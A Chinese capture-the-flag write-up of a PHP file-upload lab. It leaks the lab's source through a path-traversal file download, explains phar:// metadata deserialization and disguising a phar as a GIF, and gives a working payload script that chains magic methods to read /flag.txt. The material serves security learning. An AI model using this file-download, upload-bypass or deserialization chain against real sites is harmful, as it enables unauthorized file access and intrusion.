打开靶机,注册一个账号,发现可以上传文件,只能上传png或者是jpg文件,上传之后可以选择下载文件或者查看文件;
先看看有没有上传文件的漏洞,并没有测试出来,转而看看是不是任意文件下载的漏洞;
抓包修改filename值;
这里先看看index.php的源码,最终发现是在上两级目录里,查看到了源码;
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
我们观察到还存在其他的文件
同样进行下载,查看内容
得到了class.php的代码
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '
<div id="container" class="container">
<div class="table-responsive">
<table id="table" class="table table-bordered table-hover sm-font">';
$table .= '
<thead>
<tr>';
foreach ($this->funcs as $func) {
$table .= '
<th scope="col" class="text-center">' . htmlentities($func) . '</th>
';
}
$table .= '
<th scope="col" class="text-center">Opt</th>
';
$table .= '</thead>
<tbody>';
foreach ($this->results as $filename => $result) {
$table .= '
<tr>';
foreach ($result as $func => $value) {
$table .= '
<td class="text-center">' . htmlentities($value) . '</td>
';
}
$table .= '
<td class="text-center" filename="' . htmlentities($filename) . '">
<a href="#" class="download"></a>
/
<a href="#" class="delete"></a>
</td>
';
$table .= '</tr>
';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
在class.php中发现了
可能存在download和delete两个php文件,下载访问一下
download.php内容为
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php内容为:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
我们整合到文件夹里
思路:
在class.php中看到了许多魔法函数,猜想和反序列化的漏洞有关,但是所有文件里没有找到序列化函数的调用,又看到了file_get_contents()方法:
猜想可能和phar有关;
补一下phar相关的知识点;
phar://是一个封装协议;
在任何文件操作中都会为包装器触发unserialize()方法,可利用的函数有:
ìnclude($_GET['file']);
fopen($_GET['file']);
file_get_contents($_GET['file']);
file($_GET['file']);
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);
phar文件本质上是一种压缩文件,由四个部分构成,分别是:
stub
、manifest
、contents
、signature
stub
可以理解为一个标签,格式为:
xxx<?php xxx; __HALT_COMPILER();?>
必须以
__HALT_COMPILER();?>
结尾,否则phar扩展无法识别这个文件为phar文件;
manifest
中存放了phar文件的权限、属性等信息,会以序列化的形式存储用户自定义的meta-data
,是攻击手段的核心;
contents
存放phar文件的内容;
signature
是签名,放在文件末尾;
还是自己尝试创建一下phar文件并且使用一下比较容易理解;
首先,构建一个phar文件之前,需要将php.ini的phar.readonly设置为off,否则无法生成phar文件;
改成Off;
写一个构建phar的phar_test.php文件,内容如下:
<?php
class PharTest{
public $name = "Klose";
}
@unlink(phar_file.phar);
$phar = new Phar("phar_file.phar"); //后缀必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new PharTest();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("txt_file.txt", "I am a text file!"); //添加要压缩的文件
//签名自动生成
$phar->stopBuffering();
?>
访问这个文件后,会自动在此文件目录上生成一个phar文件;
其中meta-data是以序列化形式存储的;
因此在使用phar://伪协议解析phar文件的时候,php的一大部分文件操作函数会将meta-data进行反序列化的操作;
下面是反序列化操作的底层c语言代码:
甚至在设置stub的时候,可以将前缀修改成其他文件头来绕过对phar文件的检测;
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub前缀为gif文件头
此时,反序列化可以触发一些魔法函数,这样很多人畜无害的函数也变得危险了;
解题过程:
观察得出FIle类中有close()函数,这个函数在User类被销毁时自动调用;
close()调用函数file_get_contents(),来获取一个文件的内容;
可以看到在download.php中,限制了flag关键字的下载;
可以利用文件删除的功能,即利用User类销毁,通过自动调用__destruct()函数来调用close()函数;
再分析FileList类,有一个__call()魔法函数,这个函数在对象调用一个不可访问的方法时,会被触发;我们可以让FileList对象调用其没有的close()方法,以此来触发__call()方法,可以通过赋值来调用File类的close()方法;
如果创建一个User对象,其变量db为一个FIleList对象,对象中的文件名为flag的路径, 当User对象销毁时,变量db的close()方法会执行,而变量db,也即为Filelist对象中没有close()方法,这样就会触发__call()方法,进而执行了FIle对象的close方法;
最后通过FileList对象的__destruct()方法,results变量的结果会被赋值给table,最终echo出来;
由此构造payload
<?php
class File{
public $filename;
}
class User{
public $db;
}
class FileList{
private $files;
private $results;
private $funcs;
public function __construct(){
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("myphar.phar");
$phar = new Phar("myphar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o);
$phar->addFromString("exploit.txt", "I need flag!");
$phar->stopBuffering();
?>
具体操作:
更改生成的phar文件的后缀名,并上传;
在删除时抓包,添加filename参数,即可得到flag;
得到flag;
flag{a8d5c0ad-bf8d-49ae-9f8c-556de8fb918f}